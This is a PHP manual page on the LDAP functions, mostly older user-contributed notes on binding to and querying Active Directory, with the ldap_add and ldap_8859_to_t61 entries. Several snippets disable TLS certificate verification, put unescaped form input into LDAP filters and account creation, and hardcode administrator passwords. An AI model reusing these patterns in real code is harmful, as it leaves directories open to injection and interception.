ldap_set_option($ad, LDAP_OPT_REFERRALS, 0);
@ldap_bind($ad, "{$user}@{$domain}", $password) or die('Could not bind to AD.');
$userdn = getDN($ad, $user, $basedn);
if (checkGroupEx($ad, $userdn, getDN($ad, $group, $basedn))) {
//if (checkGroup($ad, $userdn, getDN($ad, $group, $basedn))) {
    echo "You're authorized as ".getCN($userdn);
} else {
    echo 'Authorization failed';
}
ldap_unbind($ad);

/*
* This function searchs in LDAP tree ($ad -LDAP link identifier)
* entry specified by samaccountname and returns its DN or epmty
* string on failure.
*/
function getDN($ad, $samaccountname, $basedn) {
    $attributes = array('dn');
    $result = ldap_search($ad, $basedn,
        "(samaccountname={$samaccountname})", $attributes);
    if ($result === FALSE) { return ''; }
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count']>0) { return $entries[0]['dn']; }
    else { return ''; };
}

/*
* This function retrieves and returns CN from given DN
*/
function getCN($dn) {
    preg_match('/[^,]*/', $dn, $matchs, PREG_OFFSET_CAPTURE, 3);
    return $matchs[0][0];
}

/*
* This function checks group membership of the user, searching only
* in specified group (not recursively).
*/
function checkGroup($ad, $userdn, $groupdn) {
    $attributes = array('members');
    $result = ldap_read($ad, $userdn, "(memberof={$groupdn})", $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    return ($entries['count'] > 0);
}

/*
* This function checks group membership of the user, searching
* in specified group and groups which is its members (recursively).
*/
function checkGroupEx($ad, $userdn, $groupdn) {
    $attributes = array('memberof');
    $result = ldap_read($ad, $userdn, '(objectclass=*)', $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count'] <= 0) { return FALSE; };
    if (empty($entries[0]['memberof'])) { return FALSE; } else {
        for ($i = 0; $i < $entries[0]['memberof']['count']; $i++) {
            if ($entries[0]['memberof'][$i] == $groupdn) { return TRUE; }
            elseif (checkGroupEx($ad, $entries[0]['memberof'][$i], $groupdn)) { return TRUE; };
        };
    };
    return FALSE;
}

?>
ben_demott at hotmail dot com 01-Apr-2008 03:54
For anyone that is a programmer and not extremely familiar with naming conventions in Microsoft Active Directory or how to find objects within the directory, or more importantly how to reference the objects.
Running "adsiedit.msc" from the command line will display all of your objects in the directory in an easy to read and copyable naming format.
Hope this is helpful!

Note:
You must Run this command from an AD Domain Controller
You Must have the Windows Resource Kit Tools installed
(wouldn't let me make a link that long so I had to make a link break - Sorry!)
a http://www.microsoft.com/downloads/details.aspx
?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en

Installing this tool should modify your system path so you can just type the command from the run dialogue, otherwise the absolute path is:
C:\Program Files\Windows Resource Kits\Tools\adsiedit.msc
tuliogs at pgt dot mpt dot gov dot br 14-Jan-2008 09:53
This may be related to bug #28150, but as it´s marked "Won´t fix", I thought it´d be good to post this here, ´cause it´s a real bugger. :)

When compiling on AMD64 RedHat (and so possibly on CentOS), the configure script fails to find LDAP libraries under /usr/lib64, because it only searches under /usr/lib.

It´s hardcoded, so LDFLAGS, CPPFLAGS and --libdir are of no use, and neither is editing ext/ldap/config.m4 and running buildconf; you´ll need to manually edit configure and alter all occurrences of LDAP_LIBDIR to "lib64". Else, you´ll get a "cannot find ldap libs under /usr/lib" or "cannot find ldap.h" error upon configure.
alex at netflex dot nl 03-Sep-2007 03:49
If you want to use ldaps on windows but you don't want to validate the tls certificate try the following line before the ldap_connect call:

putenv('LDAPTLS_REQCERT=never') or die('Failed to setup the env');
Tod 03-Jul-2007 02:10
Notes for people running PHP 4 with Apache 2.2 on Win2k3.
The Apache Service needs to be running under the local administrators account in order for the ldap_connect to return a result. As apposed to the Domain Administrators account as may happen on servers in an Active Directory Domain.

It will 'appear' to work ok but will return no results otherwise.

so use (server name)\administrator for the username in the service logon properties.

Tod
jector at inbox dot ru 19-Mar-2007 06:01
Spent some time on fixing "Unable to load dynamic library 'php_ldap.dll'. Copied libeay32.dll and ssleay32.dll  everywhere, but error still stands.

After digging all this dlls I found, that both libeay32.dll and ssleay32.dll need msvcr70.dll (or msvcr71.dll, it depends on the compiler version). Then just copy that dll to system32\ dir and it works perfectly.
maykelsb at yahoo dot com dot br 12-Feb-2007 08:27
Problems with ldap_search in W2k3, can be solved adding

// -- $conn is a valid ldap connection.

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION,3);
ldap_set_option($conn, LDAP_OPT_REFERRALS,0);

before ldap_bind, as sad in http://bugs.php.net/bug.php?id=30670.
unroar at gmail dot com 12-Dec-2006 02:33
In Solaris 9 the libnet library is a prerequisite for building  PHP with LDAP, SASL and SSL (libnet is available on Sunfreeware).

I didn't see this mentioned anywhere and I'm not sure if it is required by ldap or sasl or ssl.  I just spent an hour on Google with no luck before I figured it out, maybe this comment will help the next googler.

The error is,
ld: fatal: library -lnet: not found
ld: fatal: File processing errors. No output written to sapi/cli/php
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1
nigelf at esp dot co dot uk 16-Nov-2006 03:34
Chasing referrals in Active Directory (ie: searching across domains), can be slow.  You can look up the object instead in the GC (Global Catalog) as follows:

Remove any reference to ldap:// when you use ldap_connect, ie: use "serv1.mydom.com" NOT "ldap://serv1.mydom.com"

Connect to port 3268 (not 389, the default)

Set the Base DN for the search to null ie: "" (empty quotes).

AD will then run the search against the GC which holds a copy of all objects in the Forest.  You can also retrieve a subset of attributes (including group membership, except local groups).

You will still need to follow referals for a full set of attributes.
gcathell at thetdgroup dot com 07-Jul-2006 06:05
I recently had to access a Microsoft Active Directory server as an LDAP service over SSL using PHP.  It took me a long time to get all the information I needed to get it to work.

I attempted to post a note here with the details but it ended it being too long.  I've placed the details at the following URL in hopes that someone else will benefit and will be able to solve the problem much more quickly than I did.

http://greg.cathell.net/php_ldap_ssl.html

Good luck!
brudinie at yahoo dot co dot uk 26-Jan-2006 05:43
LDAP Active Directory Last Logon (lastlogon).

This took me an entire day to work out. If you want to get the last logon date from an active directory account, you have to convert it from AD time stamp to unix time stamp.
Once you've got a unix time stamp, PHP can format it as a date.

Here is the code to do it:

        $dateLargeInt=$info[$i]["lastlogon"][0]; // nano seconds (yes, nano seconds) since jan 1st 1601
        $secsAfterADEpoch = $dateLargeInt / (10000000); // seconds since jan 1st 1601
        $ADToUnixConvertor=((1970-1601) * 365.242190) * 86400; // unix epoch - AD epoch * number of tropical days * seconds in a day
        $unixTsLastLogon=intval($secsAfterADEpoch-$ADToUnixConvertor); // unix Timestamp version of AD timestamp
        $lastlogon=date("d-m-Y", $unixTsLastLogon); // formatted date
nacenroe at remove dot this dot nystec dot com 19-Dec-2005 09:28
If you're looking to use PHP to integrate LDAP with AD (I'm working with Win2K3), you may want to tinker with the LDP.exe tool included (no resource kit needed!!) with Win2k and Win2K3.  You can run this app right from the command line.

The Win2K3 Help function was a good start point, and then pointed me to an article in the M$ KB: http://support.microsoft.com/default.aspx?scid=kb;en-us;255602 (XADM: Browsing and Querying Using the LDP Utility).

So ... if your connect/bindings are working but your queries are not, you may want to start here.  I'm finding it very useful when I run it on the local AD to see the attributes, etc.
ooja at roceindhoven dot nl 25-Oct-2005 08:52
If you bind anonymousely to a Windows 2003 Server (Active Directory) and you perform a ldap_search you will get an search operations error. You have to use a login and a password when binding!

I personally found alot of good information here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
christopherbyrne at hotmail dot com 17-Oct-2005 05:53
Just an ammendment to my previous post: my calculations were using east coast Australian time (GMT+10) whereas the Unix timestamp is in GMT. Therefore Active Directoy's "accountexpires" integer value does start from 1-Jan-1601 00:00:00 GMT and the number of seconds between this date and 1-Jan-1970 00:00:00 GMT is 11644524000.

The increments are still definately in 100 nanoseconds though!
christopherbyrne at hotmail dot com 17-Oct-2005 01:32
For anyone who's been having trouble working with the "accountexpires" attribute in Active Directory after having read the following article

www.microsoft.com/technet/scriptcenter/
resources/qanda/sept05/hey0902.mspx

or something similar, this may save you some frustration. In the article is is mentioned that this attribute is an integer representing the number of nanoseconds since 01-Jan-1601 00:00:00.

However the "accountexpires" attribute actually seems to be the number of 100 nanosecond increments since 31-Dec-1600 14:00:00. As a result if you divide the integer by 10,000,000 and subtract 11644560000 you will get a Unix timestamp that will match the dates in AD.

To set the "accountexpires" date just reverse the procedure, that is, get the timestamp for the new date you want, add 11644560000 and multiply by 10,000,000. You will also need to format the resultant number to make sure it is not outputted in scientific notation for AD to be happy with it.

Hope this helps!
hijinio at comcast dot net 28-Jul-2005 08:28
In case anybody has trouble configuring PHP with LDAP support on a Solaris 10 box, here is the configure line I used:

./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml --with-ldap=/usr/local --prefix=/opt/php/php-5.0.4

The important part to note is the location used for --with-ldap= ; which for most S10 people, will be "--with-ldap=/usr/local".
jpmens at gmail dot com 11-Mar-2005 11:04
Further to jabba at zeelandnet dot nl's note. If you are trying to connect to an LDAPS URI with OpenLDAP, you can either create the configuration file as described by jabba, or alternatively, use the environment settings to set LDAPTLS_REQCERT=never as described in ldap.conf(5).
Richie Bartlett(at)ITsystems-Online com 20-Dec-2004 09:44
This is an update to <i>wtfo at technocraft dot com</i> (23-May-2002 03:40)... This function allows additional (optional) parameters. The prev function listed, failed to close the ldap connection after successful authenication.

<?php
function checkNTuser($username,$password,$DomainName="myDomain",
                      $ldap_server="ldap://PDC.example.net"){//v0.9
// returns true when user/pass enable bind to LDAP (Windows 2k).
    $auth_user=$username."@".$DomainName;
    #echo $auth_user."->";
    if($connect=@ldap_connect($ldap_server)){
        #echo "connection ($ldap_server): ";
        if($bind=@ldap_bind($connect, $auth_user, $password)){
            #echo "true <BR>";
            @ldap_close($connect);
            return(true);
        }//if bound to ldap
    }//if connected to ldap
    #echo "failed <BR>";
    @ldap_close($connect);
    return(false);
}//end function checkNTuser
?>
jabba at zeelandnet dot nl 16-Nov-2004 08:51
When using PHP on windows, and you are trying to connect (bind) to a Netware (6) LDAP server that requires secure connections (LDAPS), PHP will return a message stating that the server cannot be found.

A network traffic capture of the traffic taking place on connection attempt reveals that the server supplies a certificate for use in the SSL connection, but this is rejected (***bad certificate SSLv3 packet) by the client.

The reason for this is probably that the PHP LDAP implementation tries to verify the received certificate with the CA that issued the certificate. There may be a way to make it possible that this verification succeeds, but it is also possible to disable this verification by the client (which is, in this case, PHP) by creating an openldap (surprise!!) configuration file.

The location of this configuration file seems to be hardcoded in the LDAP support module for windows, and you may need to manually create the following directory structure:

C:\openldap\sysconf\

In the sysconf folder, create a text file named 'ldap.conf' (you can use notepad for this) and, to disable certificate verification, place the following line in the ldap.conf file:

TLS_REQCERT never

After this, all the normal ldap_bind calls will work, provided your supplied user id and password are correct.
spam2004 at turniton dot dk 29-Oct-2004 02:36
Here are two small functions that enables you to convert a binary objectSID from Microsoft AD into a more usefull text version (formatted (S-1-5.....)).

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function littleEndian($hex) {
    for ($x=strlen($hex)-2; $x >= 0; $x=$x-2) {
        $result .= substr($hex,$x,2);
    }
    return $result;
}

// Returns the textual SID
function binSIDtoText($binsid) {
    $hex_sid=bin2hex($binsid);
    $rev = hexdec(substr($hex_sid,0,2));          // Get revision-part of SID
    $subcount = hexdec(substr($hex_sid,2,2));    // Get count of sub-auth entries
    $auth = hexdec(substr($hex_sid,4,12));      // SECURITY_NT_AUTHORITY
    $result = "$rev-$auth";
    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] = hexdec(littleEndian(substr($hex_sid,16+($x*8),8)));  // get all SECURITY_NT_AUTHORITY
        $result .= "-".$subauth[$x];
    }
    return $result;
}

echo binSIDtoText($bin_sid);
Jimmy Wimenta Oei 23-Sep-2004 09:32
If you want to disable/enable chase referral option, you need to first set the protocol version to version 3, otherwise the LDAP_OPT_REFERRALS option will not have any effect. This is especially true for querying MS Active Directory.

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
?>

And as always, these should be called after connect but before binding.
dmeehan at flcancer dot com 12-Aug-2004 10:26
If your having problems running LDAP searches on the base DC against Active Directory 2k3, you need to set dsHeuristics to 0000002 in Active Directory. This allows searches to function similar to how they did in Active Directory 2k2. You can update dsHeuristics by launching ldp.exe goto 'connection' and create a new connection. Then goto bind and bind to your ldap server. Next select the 'Browse' menu and choose 'modify'. The DN *might* look like this:

CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=mycompany,DC=com

Attribute is: dsHeuristics
Value is: 0000002

Set the operation to replace and you should be set.
This solves the 'Operations error' error that happens when attempting to search without specifying an OU.

-d
Sami Oksanen 17-May-2004 03:27
I edited Jon Caplinger's code which is located below (date: 09-Nov-2002 05:44).

 - I corrected line
   "if (!($connect=@ldap_connect($ldap))) {" with
   "if (!($connect=@ldap_connect($ldap_server))) {"

 - Removed $name-attribute

 - "Name is:"-field was always an Array, so I changed printing line to:
   " echo "Name is: ". $info[$i]["name"][0]."<br>";"

I also added some alternative search filters to try out.

Here is the code:

<?php

$ldap_server = "ldap://foo.bar.net";
$auth_user = "user@bar.net";
$auth_pass = "mypassword";

// Set the base dn to search the entire directory.

$base_dn = "DC=bar, DC=net";

// Show only user persons
$filter = "(&(objectClass=user)(objectCategory=person)(cn=*))";

// Enable to show only users
// $filter = "(&(objectClass=user)(cn=$*))";

// Enable to show everything
// $filter = "(cn=*)";

// connect to server

if (!($connect=@ldap_connect($ldap_server))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

//if (!($bind=@ldap_bind($connect))) {
//     die("Unable to bind to server");
//}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned."<p>";

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"][0]."<br>";
   echo "Display name is: ". $info[$i]["displayname"][0]."<br>";
   echo "Email is: ". $info[$i]["mail"][0]."<br>";
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0]."<p>";
}
?>
ant at solace dot mh dot se 26-Feb-2004 05:23
When working with LDAP, its worth remembering that the majority
of LDAP servers encode their strings as UTF-8. What this means
for non ascii strings is that you will need to use the utf8_encode and
utf8_decode functions when creating filters for the LDAP server.

Of course, if you can its simpler to just avoid using non-ascii characters
but for most sites the users like to see their strange native character
sets including umlauts etc..

If you just get ? characters where you are expecting non-ascii, then
you might just need to upgrade your PHP version.
pookey at pookey dot co dot uk 07-Oct-2003 10:57
This is an example of how to query an LDAP server, and print all entries out.

<?php

$ldapServer = '127.0.0.1';
$ldapBase = 'DC=anlx,DC=net';

/*
 * try to connect to the server
 */
$ldapConn = ldap_connect($ldapServer);
if (!$ldapConn)
{
  die('Cannot Connect to LDAP server');
}

/*
 * bind anonymously
 */
$ldapBind = ldap_bind($ldapConn);
if (!$ldapBind)
{
  die('Cannot Bind to LDAP server');
}

/*
 * set the ldap options
 */
ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

/*
 * search the LDAP server
 */
$ldapSearch = ldap_search($ldapConn, $ldapBase, "(cn=*)");
$ldapResults = ldap_get_entries($ldapConn, $ldapSearch);

for ($item = 0; $item < $ldapResults['count']; $item++)
{
  for ($attribute = 0; $attribute < $ldapResults[$item]['count']; $attribute++)
  {
    $data = $ldapResults[$item][$attribute];
    echo $data.":&nbsp;&nbsp;".$ldapResults[$item][$data][0]."<br>";
  }
  echo '<hr />';
}

?>
mrowe at pointsystems dot com 06-Aug-2003 08:58
FWIW,

Before anyone else wastes a day scratching their head wondering why they can't search Active Directory...

I wasn't able to search on Active Directory until I did this (immediately after the ldap_connect):

ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

I was able to ldap_bind if I didn't set this option, but I kept receiving errors.  Also note, I had to set the option BEFORE binding.
hkemale at hkem dot com 17-Jul-2003 07:49
For IIS+PHP+NTFS file system user
After copied <php_dir>/dlls/*.dll to <windows>/systems32/ remember to add read and exexcute premission to "everyone" and the extensions *.dll. this can prevent warning of Access is denied of php_ldap.dll
greatsafari at hotmail dot com 27-May-2003 08:01
Having seen so many variations of methods for connecting and query the Active Directory server, it really makes me suspect that the whole thing is dependent of the Active Directory configurations. Looking at this post at:

http://www.phpbuilder.com/mail/php-general/2003022/1459.php

Some methods proven to be working in one instance failed at another instance.
nliu99 at nospam dot yahoo dot com 30-Apr-2003 12:09
libsasl.dll is NOT required for ldap functionalities. Go check out the posting at: http://bugs.php.net/bug.php?id=9485

On win2k I followed these easy steps and got ldap to work:
1. copy php_ldap.dll from the extension folder to winnt/system32
2. edit winnt/php.ini so that ldap is enabled (uncomment the line).
3. restart IIS.
That's it and have fun with ldap.

A note for Microsoft Active Directory
1. You can login with the user email, i.e. user@company.com
2. It's easiest to search for user info with ldap_search by filtering: (userprincipalname=[user])
egeczi at nospamplease dot dist113 dot org 01-Apr-2003 06:05
On Win2k Server running IIS, it is not enough to just restart IIS after enabling the php_ldap extension. You have to restart the server itself.
yorch at correo dot ath dot cx 03-Mar-2003 06:12
Some notes about running LDAP extension on a Win2k box:

After copying php_ldap.php and libsasl.dll in every single directory possible (c:\WinNT\System32, c:\php ...) I decided to read the installation.txt file.
The instructions to install php extensions say: "Some extra DLLs are required for some PHP extensions. Please copy the bundled dlls from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory. If you already have these DLLs installed on your system, overwrite them only if something is not working correctly."

So I did exactly that: copy ALL the dll files from "c:\php\dlls" to "c:\WinNT\System32".
Now they load beautifully ;-)

I hope this helps someone.
jon dot caplinger at broadwing dot com 09-Nov-2002 07:44
Here is an example of searching active directory in w2k. Active directory requires a user account that has permissions to search the tree.

/* The following values are used for the example:
  1.  Domain =  microsoft.com
  2.  Server =  unstable
  3.  User = bgates
  4.  Password = iloveopensource
*/

// Get name value to search for from submitted form.

if (isset($HTTP_GET_VARS["name"])) {
     $name = $HTTP_GET_VARS["name"];
}

$ldap_server = "ldap://unstable.microsoft.com";
$auth_user = "bgates@microsoft.com";
$auth_pass = "iloveopensource";

// Set the base dn to search the entire microsoft.com directory.

$base_dn = "DC=microsoft, DC=com";

/* filter the search for all people in the microsoft.com tree that have a name that matches any one of the following attributes name, displayname, or cn. */

$filter = "(&(objectClass=user)(objectCategory=person)
(|(name=$name*)(displayname=$name*)(cn=$name*)))";

// connect to server

if (!($connect=@ldap_connect($ldap))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned;

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"];
   echo "Display name is: ". $info[$i]["displayname"][0];
   echo "Email is: ". $info[$i]["mail"][0];
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0];
}
gerbille at free dot fr 10-Oct-2002 03:26
The MD5 of PHP returns a result encoded in base16. But the LDAP MD5 returns a string encoded in base64.
$pwd="toto";
$pwd_md5=base64_encode(mhash(MHASH_MD5,$pwd));
Just add "{MD5}" front $pwd_md5 to obtain the same format as LDAP directory.

Bye
Aur�lia
mike at whisperedlies dot org 09-Sep-2002 06:41
In addition to the netBIOS suggestion above, when binding to a Windows2k AD server, you can use the UPN of the intended user. For instance, if your SAM account name is firstname.lastname and your domain is domainname.com, your UPN might be firstname.lastname@domainname.com

This can be used to bind to AD. I've not seen any difference in any of the methods.
rusko dot marton at gibzone dot hu 11-Jul-2002 02:06
You can authenticate to a Windows 2000 domain's ldap server easily by using the simplified netbios form of the username.

Somebody written:
When authenticating to a Win2k LDAP server, the name of the person must be
the FULL NAME in the dn

NO. You can use this form:

$user = "DOMAINNAME\\username"
$password = "Password_of_user";

if (!$connect = ldap_connect("<server>", <port>)) {
  //error
  exit;
}
if (!$res = @ldap_bind($ldap, $user, $password)) {
  //error
  exit;
}

It works fine with Active Directory, we use it.
knitterb at blandsite dot org 20-Jun-2002 05:48
When using PHP 4.2.1 with OpenLDAP 2.1.2 I was having problems with binding to the ldap server.  I found that php was using an older protocol and added the following to the slapd.conf:

allow bind_v2

See ``man slapd.conf'' for more info about the allow item in the slapd.conf file, this is all I know! :)
wtfo at technocraft dot com 24-May-2002 12:40
This worked for me:

function checkNTUser ($username,$password) {
    $ldapserver = 'Your Server';
    $ds=ldap_connect($ldapserver);
    if ($ds) {
        $dn="cn=$username,cn=Users, DC=[sitename], DC=[sitesuffix]";
        $r=@ldap_bind($ds,$dn,$password);
        if ($r) { return true;
        } else {
            return false;
        }
    }
}
sukhruprai at yahoo dot com 05-May-2002 03:56
There is an article about how to compile openldap on windows. Openldap binaries are also available for download (for windows).
http://www.fivesight.com/downloads/openldap.asp
php ^ pixelcop , com 23-Apr-2002 10:33
For those trying to do LDAP authentication with Lotus Domino NAB, the following has worked for me (based on the win2k example by webmaster@autourdupc.com) :

$ip = "localhost";
$dn="CN=Joe Blo, O=myOrganization";
$password = "password";

if (!($ldap = ldap_connect($ip))) {
    die ("Could not connect to LDAP server");
}

print "connected to <b>$ip</b><br/>";

if (!($res = @ldap_bind($ldap, $dn, $password))) {
    die ("Could not bind to $dn");
}

print "user <b>$dn</b> authenticated.<br/>";

$sdn = "O=myOrganization";
$filter = "(objectclass=*)";

print "executing search...<b>DN: $sdn; Filter: $filter</b><br/>";
$sr=ldap_search($ldap, $sdn, $filter);

$info = ldap_get_entries($ldap, $sr);

print $info["count"]." entries returned<hr>";
print "<PRE>";
print_r($info);
print "</PRE>";
webmaster at autourdupc dot com 31-Dec-2001 01:36
When authenticating to a Win2k LDAP server, the name of the person must be the FULL NAME in the dn

NB : nothing is case sensitive !

$dn="cn=DUPOND John, cn=Users, dc=autourdupc, dc=com"
$password = "Password_of_DUPOND";

Then when you bind to the LDAP database you use:

if (!($ldap = ldap_connect("<server>", <port>))) {
die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, $dn, $password))) {
die ("Could not bind to $dn");
}

Hope this will usefull for everyone !
bounty_arz at hotmail dot com 26-Nov-2001 06:46
Hi,

There is a way to Access Active Directory :
- You will have to bind as admin :
eg: administrator@yourdomain.com
or as a user :
eg: fschultz@yourdomain.com
(because you can't search the Subtree as anonymous).

Then you can query, add, delete and modify entries if you respect the syntax of the MS schema.

F.B
http://www.imphar.com
mleaver at scis dot ecu dot edu dot au 08-Mar-2001 10:32
When authenticating to a Win2k LDAP server you must include the name of the person authenticating to the server in the dn

i.e. cn=administrator, cn=users, dc=server, dc=domain, dc=country

Then when you bind to the LDAP database you use:

<?php $res = ldap_bind($ldap, $dn, $password); ?>

So a full example would be:

<?php
if (!($ldap = ldap_connect("<server>", <port>))) {
       die ("Could not connect to LDAP server");
}
$dn = "cn=administrator, cn=users, dc=myserver, dc=com, dc=au";
$password = "MyPassword";
if (!($res = @ldap_bind($ldap, $dn, $password))) {
       die ("Could not bind to $dn");
}
?>

Then you do your list or search functions on the ldap database.


Translate 8859 characters to t61 characters

  • « LDAP Functions
  • ldap_add »
  • PHP Manual
  • LDAP Functions
  • Translate 8859 characters to t61 characters

ldap_8859_to_t61

(PHP 4 >= 4.0.2, PHP 5)

ldap_8859_to_t61 — Translate 8859 characters to t61 characters

Description

string ldap_8859_to_t61 ( string $value )

Translate ISO-8859 characters to t61 characters.

This function is useful if you have to talk to a legacy LDAPv2 server.

Parameters

value

The text to be translated.

Return Values

Return the t61 translation of value.

See Also

  • ldap_t61_to_8859() - Translate t61 characters to 8859 characters

User Contributed Notes

faruq dot alavi at live dot de 03-May-2010 12:13
Description:

ldap_8859_to_t61() assists in the conversion of strings between ISO 8859-1 and t61 encodings. If the string cannot be converted successfully, the function returns FALSE.

Example:

$converted = ldap_8859_to_t61($data);
echo $converted;


Add entries to LDAP directory

  • « ldap_8859_to_t61
  • ldap_bind »
  • PHP Manual
  • LDAP Functions
  • Add entries to LDAP directory

ldap_add

(PHP 4, PHP 5)

ldap_add — Add entries to LDAP directory

Description

bool ldap_add ( resource $link_identifier , string $dn , array $entry )

Add entries in the LDAP directory.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

An array that specifies the information about the entry. The values in the entries are indexed by individual attributes. In case of multiple values for an attribute, they are indexed using integers starting with 0.

<?php
$entree["attribut1"] = "value";
$entree["attribut2"][0] = "value1";
$entree["attribut2"][1] = "value2";
?>

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Complete example with authenticated bind

<?php
$ds = ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");

    // prepare data
    $info["cn"] = "John Jones";
    $info["sn"] = "Jones";
    $info["objectclass"] = "person";

    // add data to directory
    $r = ldap_add($ds, "cn=John Jones, o=My Company, c=US", $info);

    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>

Notes

Note: This function is binary-safe.

See Also

  • ldap_delete() - Delete an entry from a directory

User Contributed Notes

Igor2i 05-Sep-2013 04:37
Решил добавить специально для русскоязычных пользователей.
У меня сервер на Gentoo с поддержкой кириллици в кодировке UTF-8.
И при вводе через форму кириллицы выдавал ошибку синтаксиса.
Решение проблемы:
1) код требуется перекодировать в UTF-8 без BOM
2) и в начале кода вставить строку
<?php
header('Content-Type: text/html; charset=utf-8');
?>
paul90brown at gmail dot com 14-Jan-2013 04:04
I kept getting "Object Class Violation" when I tried adding posixAccount and shadowAccount as an objectclass. It turned out that these object classes had a lot of required fields that I was not adding. You may need to export a working user (if you have phpLDAPadmin) and see exactly what fields they have, then try to copy it exactly in the script. It also doesn't hurt if you make everything an Array the first time around, you can fix those fields later.
sergioshev 22-Apr-2008 07:29
once i'am having problmes to add attributes with boolean syntax (1.3.6.1.4.1.1466.115.121.1.7)

$['boolean_attr']=true; //give me one warning, ldap_add(): Add: Invalid syntax

solved this by setting the value on this:

$['boolean_attr']='TRUE';

hope this can helps.
phil at networkalliance dot com 14-Feb-2008 06:24
I created a simple function that can be called to create global distribution groups in Active Directory:

<?php
function ldap_createGroup($object_name, $dn, $members, $ldap_conn)
{
    $addgroup_ad['cn']="$object_name";
    $addgroup_ad['objectClass'][0] = "top";
    $addgroup_ad['objectClass'][1] ="group";
    $addgroup_ad['groupType']="2";
    $addgroup_ad['member']=$members;
    $addgroup_ad["sAMAccountName"] =$object_name;

    ldap_add($ldap_conn,$dn,$addgroup_ad);

    if(ldap_error($ldap_conn) == "Success")
      return true;
    else
      return false;
}
?>

You can call this function using the follow code:

<?php
$ldap_conn = ldap_bind();
$object_name="Test Group";
$dn="CN=".$object_name.",OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User1,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User2,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";

ldap_createGroup($object_name, $dn, $members, $ldap_conn);
?>

The other function I created is ldap_bind(), and this can be used to bind to an LDAP server:

<?php
function ldap_bind()
{
  $ldap_addr = '192.168.1.1';  // Change this to the IP address of the LDAP server
  $ldap_conn = ldap_connect($ldap_addr) or die("Couldn't connect!");
  ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
  $ldap_rdn = "domain_name\\user_account";
  $ldap_pass = "user_password";

  // Authenticate the user against the domain controller
  $flag_ldap = ldap_bind($ldap_conn,$ldap_rdn,$ldap_pass);
  return $ldap_conn;
}
?>
stian 01-Nov-2007 03:27
This solution works for us.
In the form the CN and pwdtxt are randomly generated from strict rules.
This script creates 50-60 users i AD pr.day! and never even had a glitch!

<?php
## From form
$CN = $_POST['CN'];
$givenName = $_POST['givenName'];
$SN = $_POST['SN'];
$mail = $_POST['mail'];
$Phone = $_POST['Phone'];
$pwdtxt = $_POST['pwdtxt'];

$AD_server = "localhost:390"; // Local Stunnel --> http://www.stunnel.org/
$AD_Auth_User = "administrator@student.somwhere.com"; //Administrative user
$AD_Auth_PWD = "duppiduppdupp"; //The password

$dn = 'CN='.$CN.',OU=Brukere,DC=student,DC=somwhere,DC=com';

## Create Unicode password
$newPassword = "\"" . $pwdtxt . "\"";
$len = strlen($newPassword);
$newPassw = "";

for($i=0;$i<$len;$i++) {
    $newPassw .= "{$newPassword{$i}}\000";
}

## CONNNECT TO AD
$ds = ldap_connect($AD_server);
if ($ds) {
    ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); // IMPORTANT
    $r = ldap_bind($ds, $AD_Auth_User, $AD_Auth_PWD); //BIND

    $ldaprecord['cn'] = $CN;
    $ldaprecord['givenName'] = $givenName;
    $ldaprecord['sn'] = $SN;
    $ldaprecord['objectclass'][0] = "top";
    $ldaprecord['objectclass'][1] = "person";
    $ldaprecord['objectclass'][1] = "organizationalPerson";
    $ldaprecord['objectclass'][2] = "user";
    $ldaprecord['mail'] = $mail;
    $ldaprecord['telephoneNumber'] = $Phone;
    $ldaprecord["unicodepwd"] = $newPassw;
    $ldaprecord["sAMAccountName"] = $CN;
    $ldaprecord["UserAccountControl"] = "512";
//This is to prevent the user from beeing disabled. -->
http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

    $r = ldap_add($ds, $dn, $ldaprecord);

} else {
    echo "cannot connect to LDAP server at $AD_server.";
}

?>
